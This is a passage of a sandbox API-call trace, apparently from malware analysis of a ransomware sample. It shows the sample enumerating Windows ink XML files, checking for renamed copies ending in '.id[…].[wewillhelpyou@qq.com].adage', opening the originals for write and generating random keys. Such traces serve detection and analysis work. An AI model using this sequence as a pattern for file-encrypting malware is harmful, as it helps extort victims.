lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=219) returned 1 [0055.181] CloseHandle (hObject=0x19c) returned 1 [0055.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20 [0055.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.181] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.182] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.182] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0055.309] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=924) returned 1 [0055.309] CloseHandle (hObject=0x188) returned 1 [0055.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0055.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.310] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.333] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=749) returned 1 [0055.333] CloseHandle (hObject=0x180) returned 1 [0055.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0055.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.343] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.348] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2556) returned 1 [0055.348] CloseHandle (hObject=0x180) returned 1 [0055.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0055.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.348] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.349] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3024) returned 1 [0055.349] CloseHandle (hObject=0x180) returned 1 [0055.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0055.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.349] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.350] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2658) returned 1 [0055.350] CloseHandle (hObject=0x180) returned 1 [0055.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0055.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.350] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.351] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2628) returned 1 [0055.351] CloseHandle (hObject=0x180) returned 1 [0055.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0055.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.352] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.352] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.352] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2652) returned 1 [0055.352] CloseHandle (hObject=0x180) returned 1 [0055.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0055.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.352] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.353] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.353] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2526) returned 1 [0055.353] CloseHandle (hObject=0x180) returned 1 [0055.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0055.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.353] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.354] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2522) returned 1 [0055.354] CloseHandle (hObject=0x180) returned 1 [0055.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0055.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.354] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.355] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2568) returned 1 [0055.355] CloseHandle (hObject=0x180) returned 1 [0055.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0055.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.355] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.356] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.356] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.356] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2626) returned 1 [0055.356] CloseHandle (hObject=0x180) returned 1 [0055.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0055.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.356] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.356] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.356] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.357] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2580) returned 1 [0055.357] CloseHandle (hObject=0x180) returned 1 [0055.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20 [0055.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.357] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.358] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2600) returned 1 [0055.358] CloseHandle (hObject=0x180) returned 1 [0055.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20 [0055.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.358] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.359] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.359] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2246) returned 1 [0055.359] CloseHandle (hObject=0x180) returned 1 [0055.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0055.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.359] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.360] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2240) returned 1 [0055.360] CloseHandle (hObject=0x180) returned 1 [0055.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0055.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.360] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.360] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2644) returned 1 [0055.361] CloseHandle (hObject=0x180) returned 1 [0055.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0055.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.361] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0055.362] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2542) returned 1 [0055.363] CloseHandle (hObject=0x180) returned 1 [0055.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common 